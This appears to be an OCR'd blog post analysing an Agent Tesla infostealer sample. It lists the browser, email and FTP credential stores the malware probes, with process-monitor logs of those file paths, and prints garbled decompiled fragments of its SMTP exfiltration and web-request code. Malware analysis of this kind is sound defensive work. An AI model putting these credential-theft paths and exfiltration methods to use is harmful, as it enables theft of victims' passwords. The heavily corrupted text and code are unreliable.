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Hash — 077f75ef7fdb1663e70c33e20d8d7c4383fa13fd95517fab8023fce526bf3a25

Family : Agent Tesla

Downloaded Sample Link: Click here

Signature: Microsoft Visual C# v7.0/ Basic.NET

Filename: UThLdVHHIUAKoEOpjVAsXFIIQrgS.exe

file-type

date

language
code-page
FileDescription
FileVersion
InternalMame
LegalCopyright
OriginalFilename
ProductVersion

Assembly Version

VirusTotal score:

55

Community
Score

Malware behavior:

executable

neutral
Unicode UTF-16, little endian

0.0.0.0

UIhLdVHHIUAK oEOpjVAsXFIIGrgS.exe

UIhLdVHHIUAK oEOpVAsKFIOrgS.exe

0.0.0.0
0.0.0.0

\_\/ 55 engines detected this file

077f75efTidb1663e70c33e20d8d7c4383fa13fd95517fab8023fce526bf3a25
pov.exe

assembly detect-debug-envi direct Iock: pasxe

runtime-modules

Steal browser information (URL, Usernames, Passwords)

Steal passwords for email clients.
Steal FTP Clients

Steal download manager passwords.

Collect OS and hardware information.

Browser Information:
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When I debug the malware executable, Initially it creates a SQLite database to store collected information from

victims machine.

Below are the tables getting created.

@
-
@
]
-
@

Tables created:

e meta

 logins

e sqlite_sequence
e stats

e compromised_credentials

found it collected browsers data (Google chrome), that includes accessed URLs and related usernames and

passwords.
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je[nums + numé].con

= 1918884133U;

Name Value
4 @

be,

be

b

F

Apart from this, malware also look for all different types of browsers to steal data from it.
It look for below browsers:

e Opera Browser
e Yandex Browser
e 360 Browser

e Iridium Browser
e Comodo Dragon
e Cool Novo

e Chromium

e Torch Browser
e 7Star

e Amigo

e Brave

¢ CentBrowser

e Chedot

e Coccoc

e Elements Browser
e Epic Privacy

¢ Kometa
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e Orbitum

e Sputnik

e Uran

e Vivaldi

e Citrio

e Liebao Browser
 Sleipnir 6

e QIP Surf

e Coowon

CreateFie C:\Program Files (xB8)\Common Fles\Apple \Apple Appicaton Support ot exe
5116 [ZhReadFie C:\Windows \assembly \Native 2.0.50727_32 mscorb\30% 28908 335¢ ¥ 3ca’ 7l Od Secmscorib.nidi
. 9116 [ShReadFie C:\Windows\assembly \Native mages_v2.0.50727_32\mscortib\308 28908 336e ¥ 3ea5 7o Od See3\mseorib.nidi
¥ Sample_Sed2ca72863da. 9116 BhReadFie C:\Windows \assembly\Native Images_v2.0.50727_32'mscorlio\305b2c89c08b 335 ¥ dca57cbf0d SecSmscortb il
Sample_Se$2ca7286Xda 9116 [BhReadFie C:\Windows\assembly\Native Images_v2.0.50727_32\mscorb\30%2¢89c08b 3365¢ ¥ dcab7cbA0dSec\mscor.ni di
¥ Sample_5e82ca 72863da. 5116 ACreaterle C:\Users'Elser AppData)\Local Tencent \QQBrowser' User Data PATHNOT FOUND
¥ Sample_5e82ca72863da 5116 [FhCreatele c \AppData'Local User Data'\Defaut\Encry PATH NOT FOUND
¥ Sample_Se82ca72863da 9116 A Createfie C:\sersh|Elser\ AppData\Roaming\Opera Software'\Opera Stable PATH NOT FOUND
Sample_5e82ca72863da 9116 E CreateFie [ u \AppData\Local\Yandex User Data PATH NOT FOUND
¥ Sample_Se82ca72863da 5116 EhCreateFie C:\Users\[EUser' AppData\Local\360CHrome\Chrome \Liser Data PATH NOT FOUND
¥ Sample_5e02ca72863da. 9116 BhCreaterie C:\Users\EUse\ AppData\Local\Iidum\User Data PATH NOT FOUND
¥ Sample_5e02ca72863da 9115 DhCreaterie C\Users\Eser\AppData\Local\Comodo\DragonUser Data PATH NOT FOUND
¥ Sample_5e82ca 72863da. 9116 E CreateFle C:\Users\EUser'ppData\Local\Maple Studio\Chrome Plus\User Data PATH NOT FOUND
¥- Sample_582ca72863da 5116 A CreateFle C:\Users\Ellses\AppData\Local\ChromiumUser Dats PATH NOT FOUND
Sample_5e82ca 72863 5116 [hCreateFle C\Users\|EUser\AppData\Loca\ Torch!\User Data PATH NOT FOUND
Sample_Se82ca72863ds. 9116 BhCreateFie C\Users\|EUser\AppData\Local\ 7Star\ 75tar\ Liser Data PATH NOT FOUND
% Sample_5e82ca 72863 9116 BhCreaterle C:\Users\IEUser\AppData\Local\Amigo \User Data PATH NOT FOUND
¥- Sample_582ca72863da 9116 hCreaterle C:\Users\ELser\ApoData)\Local \Brave Software Brave-Browser User Data PATH NOT FOUND
Sample_Se02ca 72863da 9116 BhCreatefie C:\Usera\EUses\AppData\Local\CentBrowser\User Data PATH NOT FOUND
Sample_Se32ca 7286Xda 9116 [BhCreateFle C:\Users\IEUse\AppData\Local\Chedot \User Data PATH NOT FOUND
% Sample_5282ca72863da 5116 EhCreateFie C:\UsersElser AppDataLocal\CocCoc \Browser\User Data PATH NOT FOUND
¥ Sample_5e82ca72863da 9116 PhCreateFie Co\lsers\Eser\AppData L ocal\Elements Browser\User Data PATH NOT FOUND
Sample_Se$2ca72863d 9115 BhCreateFie CiNUsers\|EUser\ppData\Local\Epic Privacy Browser\User Data PATH NOT FOUND
Sample_Se§2ca 72863da 9116 E CreateFile C:\UsersEUser\AppData\Local\Kometa'\User Data PATH NOT FOUND
Sample_5e§2ca 72863da 9116 hCeeateFie C:\UsershElser\AppData\Local\Orbitum'User Data PATHNOT FOUND
Sample_Se82ca72863da 9116 hCreaterie C:\Users\ELser\AppData\Local\ Spulrik \Sputrik \User Data PATH NOT FOUND
Sample_Se82ca72863da 5116 [BhCreateFle C:\Users\EUser\AppData\Local\uCozMedia\\Uran'\User Data PATH NOT FOUND
Sample_5e82ca72863d3 9116 E CreateFle C:\Users\[EUser\AppData\Local\VivaldiUser Data BATH NOT FOUND
Sample_Se§2ca72863da 5116 EhCreateFie C:\Users\[EUser\AppData\Local \CatalinaGroup \Ciro \Lser Data PATH NOT FOUND
Sample_Se02ca72863ds 9116 BhCreaterie C:\Users\[EUser\ApoData\Localiebao\User Data PATH NOT FOUND
Sample_5e82ca 72863 9116 BhCreateFie C Data\Local\Fend- PATH NOT FOUND
¥ Sample_5e82ca 72863 5116 PhCreateFie C:\Users\Elser'AppData\Local\GIP Suf\User Data PATH NOT FOUND
¥ Sample_582ca72863da 5116 [FhCreatefie C:\Users\EserAppData)\Local\Coowon'\CooonUser Data PATH NOT FOUND
% Sample_Se2ca72863da 5116 [BhCreateFle c AppData\Roaming! y\profles ini PATH NOT FOUND
Sample_Se§2ca72863da 9116 E CreateFle c VigpData\Roaming \orofles ini PATH NOT FOUND
¥ Sample_5e82ca72863da. 9116 ACreaterle c AppData\Roaming \profes ini PATH NOT FOUND
¥ Sample_5e02ca72863da 9116 BhReadrle C:\Windows\assembly\Native mages_v20.50727_32\mscortip\3052c89c08h 335¢ ¥ deab7cbf0dSec9\mscor.nidi SUCCESS
¥ Sample_5e82ca72863da 9116 BhReadFie C:\Windows\assembly\Native mages_v20.50727_32\Microsoht VisuolBas#a 44664641 Goe 535788425006 18645\ Mcmsoft VisualBasic ri dil SUCCESS
Sample_5e82ca 728635 9116 E Readfie C:\Windows\assembly\Naivelmages_v2 0.50727_32\Microsoht VisualBas a446XB6464 162e 5357884 2500618645\ Microsalt VisualBasic ri il SUCCESS
5 Sample_5282ca72863da 5116 EhCreateFle C\Users\Elser\AppData\Local \IC Browser NAME NOT FOUND
¥ Sample_Sed2ca72863da 9116 DhCreatefie C:\Uses\Eiser\AppData\Roaming NETGATE Technologies \Black Hawk profies ni PATH NOT FOUND
¥ Sample_5e820372863da 9116 BhCreateFie C\Users\IEUser\ippData\Roaming \NETGATE Technologies\Black Hawk\profies ini PATH NOT FOUND
Sample_5e82ca 72863 9116 BhCreaterle C:\Users\[EUser\AppData\Roaming \Specrstudios \Cyberox \prfilesini PATH NOT FOUND
Sample_5e82ca 72863da 9116 RACreaterie [ ippData\Roaming! \orofles ini PATHNOT FOUND
¥ Sample_Se02ca 72863da 9116 BhCreatefie C:\Users\EUser\AppData\Roaming\K-Meleon'profies i PATH NOT FOUND
Sample_Seli2ca7286Xda 5116 [BhCreateFie C:\Users\EUser\AppData\Roaming K-Meleon'profies ni PATH NOT FOUND
% Sample_5e82ca72863da 9116 A CreateFie c \AppData\Roaming\Mozlia icecat proflles ni BATH NOT FOUND
¥ Sample_5e82ca72863da. 9116 BhCreateFie C:\Users\|EUser\AppData\Roaming\Mozlla \icecat \profiles ini PATH NOT FOUND
¥ Sample_Sed2ca72863da. 9115 BhCreateFie c Comodo! \profies in PATH NOT FOUND
Sample_Se§2ca 72863ds 9116 E CreateFile C:\Users\[EUser\ipp Data\Roaming\Comada'lceDragon \arofies in PATH NOT FOUND
¥ Sample_5282c272863da 9116 FhCreateFie C:\Users\EUser'AppData\Roaming\Moonchid Productions \Pale Moon orofies ini PATH NOT FOUND
¥ Sample_5e82ca72863da 5116 ACreaterie C:\Users\Eser\AppData\Roaming\Moonchid Productions\Pale Moon\profies ini PATH NOT FOUND
# Sample_Se82ca72863da. 9116 L CreateFile C\Users\|Eliser\ AppData\Roaming\ Waterfox \profiles ini PATH NOT FOUND

Below screenshot taken while debugging malware.
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Malware also look for below email clients. I haven’t install any of them on my machine during analyzing this.

Email Clients:
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e Outlook

e Thunderbird
e Foxmail

e Opera Mail
e Pocomail

e Claws-mail

o Postbox

5116 g0 Software' Aerofox FoxmaiPreview
9116 ¢ H SUCCESS
¥ 9116 BERegQuenKey HICU SUCCESS
" 9116 g RegOpenkey HIKCU\Software'\ Aerofox\Foxmail\V3. 1 NAME NOT FOUND
5 9116 hCreatefie C:\Storage: NAME NOT FOUND
¥ Sample_5e82ca72863da 9116 BhCreatefie Covmail NAME NOT FOUND
& Sample_5eS2ca72863da 9116 ShCraefie C:\Users'IEUser'ippDataLocal \VitualStore\Program Fies'Foxmailwail PATH NOT FOUND
ample_5eG2ca72063dz. 9116 ThCreaefie C:\Users\IEUserAppData\Local\VitualStore \Program Fies x86)\Faxmal\mail PATHNOT FOUND
ample_5eG2ca72063da. 9116 BhCreatefie C:\Users\IEUser\AppData\Roaiming\Opera MaiOpera Mail\wand dat PATH NOT FOUND
9116 g RegQueryHey HKCU SUCCESS
9116 g ReglueryKey HICU SUCCESS
leqOpenKey HIKCL\Software nered Mai idertties NAME NOT FOUND
e ReadFie C:\Windows \assembly\Native mages _v20.50727_32\macorib\30%2c39c0853350 ¥ dca57dbf dSecd \mscorib ni di SUCCESS
ample_5e82ca72863da Readfile C V2050727 b 7 nidl SUCCESS
Sample_5e82ca72863da. Readfile C:\Windoms\assembly\Nativeimages_v2 0.50727_32\macorib\30%b2c8508b335c ¥ dcabTdbf DdSecmscorib.ni dl SUCCESS
Sample_Se82ca72863da. CreateFie C:\Users\Elser'AppData’ Roaming \Pocomail\accourts i PATHNOT FOUND
Sample_! 272863da. % RegQueryKey SUCCESS
Sample_5e82ca72863da. 4 y SUCCESS
Sample_5e82ca72863da. 9116 g RegOpenkey Software'\Qualcomm\Eudora\CommandLine NAME NOT FOUND
Sample_S5e82c 9728 &]aCneateFllE C:\Users\|EUser\AppData“Roaming“ The Bat! NAME NOT FOUND
Sample_5Se82c... 5728 B«CreateFile C:\Users\|EUser\AppData"Roaming\Postbox\profiles ini PATH NOT FOUND
Sample_S5e82c 5728 gaCneateFlle C:\Users\|EUser\App Data“Roaming\Postbox \profiles ini PATH NOT FOUND
Sample_5Se82c... 5728 B«CreateFile C:\Users\|EUser’\AppData"Roaming"Claws-mail NAME NOT FOQUND
Sample_S5e82c 5728 gaCneateFlle C:\Users\|EUser\AppData“Roaming \Claws-mail\clawsrc PATH NOT FOUND
o T A PR~ S Cevees PP

FTP Clients:
Malware grabs credentials from FTP clients as well. Below list.

o FileZilla

e Core FTP
e SmartFTP
e FTPGetter
e FlashFXP

Fiz C:\FTP Navigator\Fpist bt PATH NOT FOUND
7676 (3 C:\Usera\Al Users \App Data\Roaming\FlashF XP \3ouick dat REPARSE
v 7676 [BhCreateFie C:\ProgramData\App Data'\Roaming \Flash FXP \auick dat PATH NOT FOUND
v 7676 BhCreateFie C:\sers\|EUser\AppData'\Roaming\SmartF TP\Chert 2 0\Favortes\Quick Connect PATH NOT FOUND
W 7676 [BhCreateFie C:\Users\/EUser\AppData\Roaming\SmartF TP\Chent 2 0\Favortes\Quick Connect PATH NOT FOUND
¥ Sample_Se82c 76 [dhCreateFie C:\cftp\Fiplst xt PATH NOT FOUND
Sample_SeB2c 76 BhCreaterie C:\Users\/EUser\App Data\Roaming\FTPGetter\servers xmi PATH NOT FOUND
¥ Sample_5e82c 76 @ RegOueryKey HKCU SUCCESS I
¥ Sample_Se82c 76 @ RegQueryKey HKCU SUCCESS '
¥ Sample_Se82c. 76 @ RegOpenkey HKC U\Software\DawriozdManager\Passwords NAME NOT FOUND
Sample_5c82. 7676 [BhCreateFie C:\Program Fies (86} iDownloader corfig'database sct PATH NOT FOUND
Sample_SeBZc 7676 BhCreatefie C:\Users\IEUser\AppData\Roaming\File Bl vecentservers i PATH NOT FOUND
mple_Sef2c E jsor\pp Deta\Roaming \pawich P
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It uses smtp client to send information over the network using port 587 which indicates sending data from smtp

client to a particular smtp Server through mail attachments.
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(tdo |- 2 tdl - 1)

num = 1715513597U;

H

3
au:
mailMessage. ="";
num = (num2 * 17618882190 ™ 3933755697U);
H

18Uz

smtpClient.
d r <Module>. (267344));

ailAddress from = dress(<Module:. (267416));
mailMessage = MailMessage(from, to);
mailMessage. = tdc;

( & tdl == @)
ih

num = (num2 * 15795647U "~ 3297325465U);

H

11U:
num = (num2 * 18988842370 ~ 3752145850U);
]
120U:
Attachment attachment;
attachment. - = tdc + "_" - . ToStri s <Module>. (268016);
mailMessage. -Add(attachment);
num = (num2 * 197546590 ~ 2963558343U);

H

13Uz

rkCredential (<Module>. (267640), <Module>. (267744));

rkCredential credentials =
num = (num2

* 38881252840 ~ 7@1798919U);

H

5

mailMessage.
num = 1161867436U;

(!(tdo I-

11238722803

Malware executable also make HTTPWebRequest which must be downloading SMTP client to transfer data to

remote SMTP server.

[1 array =
text;
HttpwebRequest httpWebRequest;

(:5)

num = 2@87357884U;
(53)

num2 ;
((num2 = (num ~ 1125452476U}) ¥ 7U)

au:
1u:

tkg.pd pd = tkg.pd(tkg.zsl);
text = "p=" + pd.pc(text);

requestUristring = <Module>.
httpWebRequest = (HttpWebRequest)uWebRequ - (requestUriString);
ServicePointManager. = (SecurityProtocolType)4@888;
httpWebRequest. = CredentialCache. 3
httpWebRequest. = 3
httpWebRequest. = 1loe68;
num = (num2 * 2446678U "~ 261182278U);

»
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unfortunately, it didn’t make any connection to any remote server address.
Summary:

 Steal Browser Information including urls, usernames and passwords.
 Steal email client credentials.
e Steal credentials of FTP servers.

o Computer information.

Thank you.

Source: https://malwr-analysis.com/2020/04/05/trojan-agent-tesla-malware-analysis/
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